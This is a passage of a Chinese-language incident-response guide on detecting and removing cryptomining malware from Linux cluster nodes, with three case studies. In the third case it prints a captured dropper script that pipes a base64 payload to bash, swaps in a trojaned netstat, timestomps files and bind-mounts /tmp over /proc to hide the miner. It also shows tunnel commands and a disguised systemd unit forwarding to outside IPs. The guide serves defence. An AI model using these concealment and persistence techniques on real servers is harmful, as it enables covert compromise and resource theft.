tcp 0 0 0.0.0.0:33563 0.0.0.0:* LISTEN 1686/rpc.statd
tcp 0 0 0.0.0.0:15004 0.0.0.0:* LISTEN 2199/maui
tcp 0 0 0.0.0.0:42559 0.0.0.0:* LISTEN 2199/maui
tcp 0 0 0.0.0.0:42560 0.0.0.0:* LISTEN 2199/maui
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5666 0.0.0.0:* LISTEN 31030/Xorgs
$ ll -h /proc/31030/exe
lrwxrwxrwx 1 root root 0 Nov 30 23:27 /proc/31030/exe -> /opt/Xorgs (deleted)
Warning
上述netstat排查过程显示了被入侵服务器上的命令有多不可靠,因此系统命令使用前一定要先进行检测,或直接使用busybox。
异常文件检测¶
可以通过查找最近修改过的文件、rpm -Va
校验来检测可疑文件,然后进一步使用查看这些可疑文件。有些可疑的配置文件可以直接查看是否有问题,可疑的命令可以使用virustotal检测该文件是否正常,具体用法见集群用户手册 virustotal。
最近修改文件¶
通过find命令可以查找指定时间之后被修改的文件,可以看到跟ssh相关的一系列文件最近被修改过。
$ find /bin /sbin /usr /lib /lib64 /etc/ /media/ /mnt/ /net/ -type f -newermt '2022-11-01'
/usr/local/share/man/man1/scp.1
/usr/local/share/man/man1/ssh-add.1
/usr/local/share/man/man1/ssh-keyscan.1
/usr/local/share/man/man1/ssh.1
/usr/local/share/man/man1/ssh-agent.1
/usr/local/share/man/man1/ssh-keygen.1
/usr/local/share/man/man1/sftp.1
/usr/local/share/man/man5/sshd_config.5
/usr/local/share/man/man5/ssh_config.5
/usr/local/share/man/man8/sftp-server.8
/usr/local/share/man/man8/sshd.8
/usr/local/share/man/man8/ssh-keysign.8
/usr/local/share/Ssh.bin
/usr/sbin/unreadsnf
/usr/sbin/sshd
/usr/sbin/sshdold
/usr/sbin/sshd_configold
/usr/include/perl.h
Change
那一行显示文件状态最近被修改过。 $ stat /usr/bin/top
File: ‘/usr/bin/top’
Size: 106848 Blocks: 216 IO Block: 4096 regular file
Device: fd00h/64768d Inode: 738247651 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2022-11-26 10:21:42.742891556 +0800
Modify: 2018-04-11 08:42:59.000000000 +0800
Change: 2022-11-21 18:21:55.015996564 +0800
Birth: -
结合find和stat命令,可以检测近期被修改过的文件,如下检测 2022-11
这个时间点被更改过的文件,然后使用virustotal做进一步确认。
$ find /bin /sbin /usr /lib /lib64 /etc/ /media/ /mnt/ /net/ -type f|xargs stat| grep -B6 "Change: 2022-11"|grep File
File: ‘/usr/bin/systemd-runs’
File: ‘/usr/bin/netstat’
File: ‘/usr/include/thread.h’
rpm校验¶
使用rpm -Va
校验检查所有的rpm软件包,有哪些有异常,如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。
输出格式是8位长字符串,c 用以指配置文件, 接着是文件名. 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果 。 . (点) 表示测试通过。下面的字符表示对RPM软件包进行的某种测试失败:
- 5 MD5 校验码
- S 文件尺寸
- L 符号连接
- T 文件修改日期
- D 设备
- U 用户
- G 用户组
- M 模式e (包括权限和文件类型)
$ rpm -Va > abnormal_file
$ cat abnormal_file
S.5....T. c /etc/xinetd.d/rexec
S.5....T. c /etc/xinetd.d/rlogin
S.5....T. c /etc/xinetd.d/rsh
..5....T. c /usr/lib64/security/classpath.security
....L.... c /etc/pam.d/fingerprint-auth
....L.... c /etc/pam.d/password-auth
....L.... c /etc/pam.d/smartcard-auth
....L.... c /etc/pam.d/system-auth
S.5....T. c /etc/security/limits.conf
S.5....T. c /etc/ssh/ssh_config
.......T. /etc/udev/rules.d/10-knem.rules
SM5....T. c /etc/ssh/sshd_config
S.5....T. c /etc/hosts.allow
S.5....T. c /etc/hosts.deny
S.5....T. c /etc/profile
S.5....T. c /etc/securetty
SM5....T. c /etc/sysconfig/rhn/up2date
S.5....T. c /etc/crontab
SM5....T. c /etc/sudoers
S.5....T. /usr/bin/ofed_info
S.5....T. c /etc/rsyslog.conf
.
.
.
$ cat abnormal_file |grep 5
S.5....T. c /etc/yp.conf
S.5....T. c /root/.bashrc
S.5....T. c /etc/login.defs
S.5....T. c /etc/ssh/ssh_config
S.5....T. c /etc/sysctl.conf
SM5....T. /etc/sysconfig/grub
S.5....T. c /etc/chrony.conf
S.5....T. c /etc/yum.conf
S.5....T. c /var/lib/unbound/root.key
S.5....T. /bin/netstat
SM5....T. c /etc/security/access.conf
S.5....T. c /etc/security/limits.conf
netstat
命令有异常,用virustotal检测后发现这个文件确实不可靠,需要用正常文件替换过来。 ssh服务替换处理¶
部分挖矿病毒会对ssh服务等关键服务进行文件替换以预留后门,方便后面连接。
如果检测出ssh相关服务及命令异常,建议重装openssh。或从其它正常同版本的服务器中拷贝这些命令以替换异常命令,替换过程中建议先用正常的sshd命令起一个不同端口ssh服务,然后用这个端口连到服务器,以避免替换过程中因意外导致连不上服务器。
$ yum reinstall openssh-server openssh-clients openssh-keycat openssh
系统安全漏洞检查修复¶
常用命令检查¶
这个部分在上一节有部分涉及,很多系统关键命令会被入侵者替换,以便隐藏病毒或维持远程连接漏洞。
其中比较关键的是ssh相关命令被替换,被替换的sshd或ssh命令可以记录正常登录用户的用户名和密码,以便进一步扩大入侵面或方便后续伪装成正常用户登录服务器。因此一定需要检测相关命令是否正常。
/usr/bin/ssh
/usr/bin/ssh-add
/usr/bin/ssh-agent
/usr/bin/ssh-copy-id
/usr/bin/ssh-keygen
/usr/bin/ssh-keyscan
/usr/bin/scp
/usr/bin/sftp
关键文件权限¶
下面为用户和用户组相关文件的标准权限,如果文件权限出现异常,很可能存在安全隐患。
$ ll -h /etc/passwd /etc/shadow /etc/group /etc/gshadow
-rw-r--r-- 1 root root 4.2K Nov 2 16:46 /etc/group
---------- 1 root root 3.3K Nov 2 16:46 /etc/gshadow
-rw-r--r-- 1 root root 37K Nov 30 02:15 /etc/passwd
---------- 1 root root 85K Nov 30 02:18 /etc/shadow
/etc/passwd
存在非root用户写权限,很可能被写入特殊权限,如将普通用户的uid或gid改写为0,使得该用户具有root权限。/etc/group
文件同理;/etc/shadow
存在非root用户读权限,则可以使用专用工具对其暴力破解;
特殊权限账号¶
查看uid或gid为0的账号或用户组,删除异常的账号。
$ cat /etc/passwd|grep ":0"
$ cat /etc/group|grep ":0"
空密码账号¶
检查系统中是否存在空密码账号。
cat /etc/shadow|awk -F: '$2 == "" { print $1, "has empty password!. Please set a strong password ASAP!!" }'
sudo异常¶
查看sudo配置文件是否正常,可以看到这里test账号被加入了sudo列表中且不需要密码。
test ALL=(ALL) NOPASSWD:ALL
账号处理¶
如果入侵者的操作都是使用root账号进行,则需要更改root账号密码,删除root账号的秘钥并重新生成。
其它普通账号,建议暂时全部锁定,由用户申请一个个重新设置密码后再开放,同时删除秘钥并重新生成。重新设置密码前先设置好系统密码复杂度。
日志检查¶
系统关键日志如message secure cron
等可能被清空、同时日志服务被杀死,需要重启一下日志服务。
$ systemctl status rsyslog.service
● rsyslog.service - System Logging Service
Loaded: loaded (/usr/lib/systemd/system/rsyslog.service; enabled; vendor preset: enabled)
$ systemctl start rsyslog.service
$ ll -h /var/log/
-rw-rw-r-- 1 root utmp 1.1M Oct 21 00:24 wtmp-20221021
-rw------- 1 root root 0 Oct 30 03:07 spooler-20221106
-rw-r--r-- 1 root root 0 Oct 30 03:07 secure-20221106
-rw-r--r-- 1 root root 0 Oct 30 03:07 xferlog-20221106
-rw-r--r-- 1 root root 0 Oct 30 03:07 up2date-20221106
-rw-r--r-- 1 root root 74K Nov 6 03:46 messages-20221106
-rw------- 1 root root 2.3M Nov 6 03:50 cron-20221106
-rw-r--r-- 1 root root 13M Nov 6 03:50 maillog-20221106
-rw------- 1 root root 0 Nov 6 03:50 spooler-20221113
-rw-r--r-- 1 root root 0 Nov 6 03:50 xferlog-20221113
-rw-r--r-- 1 root root 0 Nov 6 03:50 up2date-20221113
-rw-r--r-- 1 root root 1.5K Nov 8 20:47 secure-20221113
-rw------- 1 root root 883K Nov 8 20:47 cron-20221113
-rw-r--r-- 1 root root 4.9M Nov 8 20:47 maillog-20221113
-rw-r--r-- 1 root root 12M Nov 8 20:47 messages-20221113
-rw------- 1 root root 0 Nov 13 03:29 spooler-20221120
-rw-r--r-- 1 root root 0 Nov 13 03:29 secure-20221120
-rw-r--r-- 1 root root 0 Nov 13 03:29 messages-20221120
-rw-r--r-- 1 root root 0 Nov 13 03:29 maillog-20221120
-rw------- 1 root root 0 Nov 13 03:29 cron-20221120
-rw-r--r-- 1 root root 0 Nov 13 03:29 up2date-20221120
-rw-r--r-- 1 root root 0 Nov 13 03:29 xferlog-20221120
-rw------- 1 root root 0 Nov 20 03:46 spooler-20221127
-rw-r--r-- 1 root root 0 Nov 20 03:46 secure-20221127
-rw-r--r-- 1 root root 0 Nov 20 03:46 messages-20221127
-rw-r--r-- 1 root root 0 Nov 20 03:46 maillog-20221127
-rw------- 1 root root 0 Nov 20 03:46 cron-20221127
-rw-r--r-- 1 root root 0 Nov 20 03:46 up2date-20221127
-rw-r--r-- 1 root root 0 Nov 20 03:46 xferlog-20221127
-rw-r--r-- 1 root root 0 Nov 27 03:32 maillog
-rw------- 1 root root 0 Nov 27 03:32 cron
-rw------- 1 root root 0 Nov 27 03:32 spooler
-rw-r--r-- 1 root root 0 Nov 27 03:32 secure
-rw-r--r-- 1 root root 0 Nov 27 03:32 messages
-rw-r--r-- 1 root root 0 Nov 27 03:32 xferlog
-rw-r--r-- 1 root root 0 Nov 27 03:32 up2date
drwxr-xr-x. 2 tomcat root 4.0K Nov 27 03:32 tomcat6
-rw-------. 1 root root 51 Dec 1 10:31 yum.log-20221202
-rw------- 1 root utmp 384 Dec 1 17:36 btmp
-rw------- 1 root root 0 Dec 2 03:25 yum.log
实际案例处理¶
案例1¶
问题定位¶
1、cu01-cu04 节点上有高负载程序,疑似挖矿病毒,利用htop以及netstat找不到相关进程和通讯端口
2、利用 https://github.com/Ymigmli/Linux_Incident_Response 排查常见异常,发现 ./busybox netstat
能够发现异常连接
同时./busybox ps也发现了可疑进程
查看2362的的详细信息,定位到相关程序并删除(该程序应该是上次杀毒没有杀干净的,一直潜伏在),由于第二个异常连接未定位到PID,未能定位病毒程序(CPU仍然被占满)
3、进一步扫描被改动文件,定位到部分被修改过的文件,查看部分程序md5码,未发生异常(事后诸葛亮,应该全部查看的)
$ find /opt -type f -executable -newerct '2023-10-12 00:00' >/public/test/IncidentResponse/cu04
$ find /root -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
$ find /boot -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
$ find /usr -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
$ find /etc -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
4、使用 ./unhide quick >> hiden_proc.log
查找隐藏进程,发现可疑进程,考虑到 /usr/bin/netstat
未检查md5码,回查发现里面已经有部分程序被改,修复后解决
5、提交病毒样本在线检测结果
问题处理与小结¶
- 终止挖矿进程
- 隔离挖矿病毒可执行文件,保存病毒样本(mihner-sample.tgz)
- 清理系统 Crontab 任务计划
- root 密码更新为20位含数字、大小写字母及特殊符号的强密码,更换SSH密钥,清理 authorized_keys 文件内容。
- 系统netstat与bosybox不一致时就应该发现问题,排查问题一定要全面
- 可以考虑丰富下Linux_Incident_Response项目,实现全面的扫描
案例2¶
问题处理¶
# 系统top无法看到异常进程,busybox top 可以看到有异常进程 spirit
$ ./busybox top
Mem: 96158900K used, 1276140K free, 90256K shrd, 217156K buff, 88609700K cached
CPU: 3% usr 0% sys 0% nic 95% idle 0% io 0% irq 0% sirq
Load average: 1.00 1.02 1.02 3/560 945
PID PPID USER STAT VSZ %VSZ CPU %CPU COMMAND
2471 2036 mysql S 389m 0% 14 0% /opt/mysql-5.5.37-linux2.6-x86_64/bin/mysqld --defaults-file=/opt/mysql-5.5.37-linux2.6-x86_64/my.c
2440 1 root S 110m 0% 9 0% /opt/gridview//pbs/dispatcher/sbin/pbs_mom -x -p -H localhost -d /opt/gridview//pbs/dispatcher
1219 1 root S 21928 0% 13 0% /usr/sbin/irqbalance --foreground
988703 2 root SW 0 0% 2 0% [kworker/u449:1]
3958 3900 gdm S 1857m 2% 8 0% /usr/bin/gnome-shell
640647640482 root T 1222m 1% 6 0% ./spirit -t 80s B -j 300
4073 3900 gdm S 1169m 1% 18 0% /usr/libexec/gnome-settings-daemon
4007 1 gdm S< 1131m 1% 23 0% /usr/bin/pulseaudio --start --log-target=syslog
2079 1 root S 801m 1% 19 0% /usr/sbin/pkesi
1985 1 root S 730m 1% 9 0% /bin/tunnel -L=tcp://:443/45.79.108.110:80
$ ./busybox ps aux|grep spirit
640647root 0:36 ./spirit -t 80s B -j 300
# /proc下午也无法查看进程
$ ls /proc/640647/
ls: cannot access /proc/640647/: No such file or directory
#系统kill命令无法杀掉,只能使用busybox kill
$ kill 640647
-bash: kill: (640647) - No such process
$ ./busybox kill -s 9 640647
$ ./busybox ps aux|grep spirit
# ls -a /tmp/ 无法看到异常文件
# ./busybox ls -a /tmp/ 可以看到有异常文件
# 这些文件内存放有内网横向扫描的信息,可以看到有其它服务器因为简单密码被黑
$ ./busybox ls -a /tmp/
alive.omni b.lst block.lst bun found.login found.lst found.ssh h.lst ips log.omni m out.omni p.lst.save spirit
# 这里作为展示,隐去了敏感信息,可以看到被黑的基本都是默认22端口和很简单的密码
$ ./busybox cat /tmp/log.omni|grep ssh
INFO ssh username1@192.168.1.10 -p 22 # password1
INFO ssh username2@192.168.1.11 -p 22 # password2
INFO ssh username3@192.168.1.12 -p 22 # password3
INFO ssh username4@192.168.1.13 -p 22 # password4
INFO ssh username5@192.168.1.14 -p 22 # password5
# 删除异常文件
$ cd /tmp/
$ ./busybox rm -f alive.omni b.lst block.lst bun found.login found.lst found.ssh h.lst ips log.omni m out.omni p.lst.save spirit
# 检查系统异常文件
$ rpm -Va > abnormal_file
# 重点关注MD5检测不通过的文件
$ cat abnormal_file |grep 5
S.5....T. c /root/.bash_profile
S.5....T. c /root/.bashrc
S.5....T. c /root/.cshrc
S.5....T. c /etc/infiniband/openib.conf
S.5....T. /bin/netstat
S.5....T. c /etc/abrt/abrt-action-save-package-data.conf
S.5....T. c /etc/abrt/abrt.conf
S.5....T. d /usr/mpi/gcc/openmpi-3.0.0rc6/etc/openmpi-mca-params.conf
S.5...... c /usr/share/Modules/init/bash_completion
S.5...... c /usr/share/Modules/init/csh
S.5...... c /usr/share/Modules/init/tcsh
S.5....T. c /usr/share/texlive/texmf/web2c/updmap.cfg
S.5....T. c /etc/ypserv.conf
S.5....T. c /etc/cups/cups-browsed.conf
S.5....T. c /etc/httpd/conf/httpd.conf
S.5....T. c /etc/crontab
S.5....T. c /etc/security/limits.conf
S.5....T. c /etc/security/sepermit.conf
S.5....T. c /etc/sysctl.conf
..5....T. /usr/bin/chattr
SM5....T. c /etc/rc.d/rc.local
S.5....T. c /etc/sudoers
S.5....T. c /etc/my.cnf
S.5....T. c /etc/profile
S.5....T. c /etc/services
S.5....T. c /etc/yp.conf
S.5....T. /usr/bin/pod2man
S.5....T. c /usr/share/texlive/texmf/web2c/fmtutil.cnf
S.5....T. c /etc/plymouth/plymouthd.conf
S.5....T. /usr/lib/systemd/system/trqauthd.service
S.5....T. c /etc/yum.conf
S.5....T. /usr/bin/yum
S.5....T. c /etc/sysconfig/iptables
S.5....T. c /etc/yum/pluginconf.d/langpacks.conf
..5....T. /lib/ld-2.17.so
S.5....T. c /etc/yum.repos.d/CentOS-Base.repo
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/__init__.py
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/__init__.pyc
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/_constants.py
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/_constants.pyc
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/_native.py
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/_native.pyc
S.5....T. /usr/lib64/python2.7/site-packages/markupsafe/_speedups.so
..5....T. /lib64/ld-2.17.so
S.5....T. c /usr/lib64/R/etc/Makeconf
S.5....T. c /usr/lib64/R/etc/ldpaths
S.5....T. c /etc/cgrules.conf
S.5....T. c /etc/ssh/sshd_config
S.5....T. /usr/bin/ofed_info
S.5....T. c /etc/sysconfig/authconfig
S.5....T. /usr/libexec/urlgrabber-ext-down
# 对于异常的普通文本文件可以直接less查看;对于二进制文件,计算md5值然后在virustotal上验证文件是否正常,不正常的使用strings命令查看二进制文件内是否有可疑的东西
# 经virustotal验证发现/bin/netstat文件异常,strings确认该文件不正常,需要使用正常的netstat替换
$ strings /bin/netstat
...
/usr/incH
lude/staH
tnetf
/tmp/.tmH
[]A\A]A^A_
*file not found* : %s
rm /tmp/.tmp
/usr/include/allocate.h
/tmp/.tmp
....
# 使用正常的netstat替换异常的netstat,发现权限异常
$ cp ~/netstat /bin/netstat
cp: overwrite ‘/bin/netstat’? y
cp: cannot create regular file ‘/bin/netstat’: Permission denied
# 使用lsattr 可以看到添加了i权限
$ lsattr /bin/netstat
----i--------e-- /bin/netstat
# 去掉i权限之后可以正常替换
$ chattr -i /bin/netstat
$ cp ~/netstat /bin/netstat
cp: overwrite ‘/bin/netstat’? y
$
案例3¶
服务器负载突然升高,top
查看不到对应的进程,怀疑被挖矿了。同时,busybox
也不能查看隐藏进程,因此可以猜测可能是通过 挂载覆盖
的方式隐藏了进程,使用上文中提到的检测方法处理。
可以看到 259964
这个进程被系统盘覆盖了。
$ cat /proc/mounts |grep proc
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=43071 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
/dev/mapper/system-root /proc/259964 xfs rw,relatime,attr2,inode64,noquota 0 0
/dev/mapper/system-root /proc/1 xfs rw,relatime,attr2,inode64,noquota 0 0
/tmp
的目录内容一致,可以确认该进程被覆盖了 # 文件太多,这里不展示
$ ls /proc/259964
....
systemctl status pid
看到该进程的名称为 n/a
,表示看不到进程信息 $ systemctl status 259964
● session-43921.scope - Session 43921 of user root
Loaded: loaded (/run/systemd/system/session-43921.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-43921.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since Wed 2023-09-31 02:44:51 CST; 6h ago
CGroup: /user.slice/user-0.slice/session-43921.scope
└─259964 n/a
Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
top
查看,可以看到病毒进程了。 $ umount /proc/259964
$ top
top - 09:34:03 up 101 days, 21:05, 3 users, load average: 36.77, 36.54, 36.60
Tasks: 437 total, 1 running, 436 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.9 us, 0.1 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 19753308+total, 18282083+free, 14036832 used, 675428 buff/cache
KiB Swap: 4194300 total, 4194300 free, 0 used. 17963222+avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
259964 root 5 -15 4725848 82268 1748 S 3383 0.0 14666:40 h35rn5kz6fls
systemctl status pid
也可以看到挖矿病毒名称了 $ systemctl status 259964
● session-43921.scope - Session 43921 of user root
Loaded: loaded (/run/systemd/system/session-43921.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-43921.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since Wed 2023-09-31 02:44:51 CST; 7h ago
CGroup: /user.slice/user-0.slice/session-43921.scope
└─259964 h35rn5kz6fls
Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
$ ll /proc/259964/exe
lrwxrwxrwx 1 root root 0 Jan 31 09:24 /proc/259964/exe -> /tmp/h35rn5kz6fls (deleted)
netstat
看一下(注意用安全的netstat),可以看到病毒连到了另外一个节点 192.168.100.101
$ netstat -antlp|grep h35rn5kz6fls
tcp 0 0 192.168.100.100:56334 192.168.100.101:3309 ESTABLISHED 259964/h35rn5kz6fls
可以看到有个代理工具,同时连到了另外一个节点 192.168.100.102
$ ssh 192.168.100.101
$ lsof -i:3309
tunnel 1131 root 29u IPv6 30189051 0t0 TCP 192.168.100.101:tns-adv->192.168.100.100:33854 (ESTABLISHED)
tunnel 1131 root 95u IPv6 30218547 0t0 TCP 192.168.100.101:tns-adv->192.168.100.102:47982 (ESTABLISHED)
systemctl status
查看 tunnel(2964) 进程的启动状态,可以看到是由服务 edr-root.service
启动的。 systemctl status 2964 -l
● edr-root.service - End Point Encryption
Loaded: loaded (/etc/systemd/system/edr-root.service; enabled; vendor preset: disabled)
Active: active (running) since Fri 2023-08-02 12:20:22 CST; 3 weeks 3 days ago
Main PID: 2964 (tunnel)
CGroup: /system.slice/edr-root.service
└─2964 /bin/tunnel -L=tcp://:3309/198.251.88.91:80
Aug 02 12:20:22 ssd01 systemd[1]: Started End Point Encryption.
Aug 02 12:20:22 ssd01 systemd[1]: Starting End Point Encryption...
Aug 02 12:20:22 ssd01 tunnel[2964]: {"handler":"tcp","kind":"service","level":"info","listener":"tcp","msg":"listening on [::]:3309/tcp","service":"service-0","time":"2023-08-02T12:20:22.645+08:00"}
edr-root.service
cat /etc/systemd/system/edr-root.service
[Unit]
Description=End Point Encryption
After=network.target
[Service]
Restart=always
RestartSec=10
ExecStart=/bin/tunnel -L=tcp://:3309/198.251.88.91:80
[Install]
WantedBy=multi-user.target
同时,追踪 192.168.100.102
,发现了一个奇怪的进程 mihner
$ ssh 192.168.100.102
$ top
top - 10:37:45 up 9 days, 36 min, 2 users, load average: 0.08, 0.59, 24.89
Tasks: 1554 total, 1 running, 1553 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.1 us, 0.2 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 21130722+total, 20593233+free, 47220976 used, 6527824 buff/cache
KiB Swap: 4194300 total, 4194300 free, 0 used. 20580412+avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
266801 root 5 -15 20.9g 386204 2064 S 22.2 0.0 5622:23 mihner
/opt
$ ll /proc/266801/exe
lrwxrwxrwx 1 root root 0 Sep 31 10:25 /proc/266801/exe -> /opt/mihner
mihner
为挖矿程序,计算md5值后在virustotal上查询,显示为恶意文件,基本都是挖矿相关的信息。其它为辅助脚本 $ ll -rth /opt/
-rwxr-xr-x 1 root root 5.1M Sep 16 22:30 mihner
-rwxr-xr-x 1 root root 12K Sep 16 22:34 go
-rw-r--r-- 1 root root 2.2M Sep 16 22:35 g.tgz
-rw-r--r-- 1 root root 978 Sep 24 21:26 list2
-rw-r--r-- 1 root root 916 Sep 30 23:19 list
-rwxr-xr-x 1 root root 93 Sep 31 02:41 a
$ cat go
#!/bin/sh
dir=$(pwd) 2>/dev/null
rand=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1) 2>/dev/null
cp $dir/mihner $dir/$rand 2>/dev/null
./$rand -lan 10.1.0.100:3309 -r -c -h $rand
echo "aWYgWyAtZiAvYmluL3N5c3RlbW..........9udWxsCglmaTsKZmk7CnJtIG5ldHN0YXQuYwo" | base64 -d | bash
proc=$(ps x |grep $rand |grep -v grep |awk '{print $1}') 2>/dev/null
rm -rf $rand mihner go g.tgz 2>/dev/null
mount --bind /tmp /proc/$proc
mount --bind /tmp /proc/1
这里使用了2个代理,45.79.93.85
为外网代理,如果外网不通,同时可以使用内容代理 192.168.100.101
$ echo "aWYgWyAtZiAvYmluL3N5c3RlbW..........9udWxsCglmaTsKZmk7CnJtIG5ldHN0YXQuYwo" | base64 -d
if [ -f /bin/systemd-runs ];then
exit 0
fi;
echo "LyoNCiogQ09OU0lHTElPOiBOb24ga....gOw0KDQp9" | base64 -d > netstat.c
netstatfile=$(whereis netstat |awk '{print $2}')
sudo gcc -o netstat netstat.c | gcc -o netstat netstat.c
SOSIZE=$(stat -c%s $netstatfile) 2>/dev/null
if [ $SOSIZE -gt 100 2>/dev/null ];then
if [ -f $netstat ];then
mv $netstatfile /bin/systemd-runs 2>/dev/null
mv netstat $netstatfile 2>/dev/null
echo "192.168.100.101:" > /usr/include/thread.h 2>/dev/null
echo "45.79.93.85:" >> /usr/include/thread.h 2>/dev/null
echo ":3309" >> /usr/include/thread.h 2>/dev/null
touch -t 202006040202 $netstatfile 2>/dev/null
touch -t 202106181953 /bin/systemd-runs 2>/dev/null
touch -t 202208021258 /usr/include/thread.h 2>/dev/null
fi;
fi;
rm netstat.c
netstat.c
文件,扔到chatgpt,解释为 这段代码的作用是隐藏文件中包含的指定字符串。它通过读取一个文件(在代码中定义为LISTOFITEMS)来获取要隐藏的字符串列表。然后,它会读取另一个文件(在代码中定义为TMPOUTFILE)中的内容,并检查每一行是否包含需要隐藏的字符串。如果不包含,则将该行打印出来;如果包含,则忽略该行。最后,它会删除临时文件TMPOUTFILE。
大概就是使用netstat的时候过滤指定的进程,也是隐藏挖矿进程的一种手段。
Summary
linux系统非常复杂,从以上的案例中可以看到能被利用的地方非常多,排查过程比较复杂,即便如此最后也不一定能排查干净,因此最简单彻底的方式是重装系统;
如果有可能,建议将系统装在esxi等虚拟机中,定期做系统快照,一旦出问题可利用快照快速将系统回滚至正常状态;
对于集群部署,如果厂商技术支持到位,系统部署时建议使用无盘系统,出现问题亦可快速重新灌装正常系统;
参考:
本文阅读量 次本站总访问量 次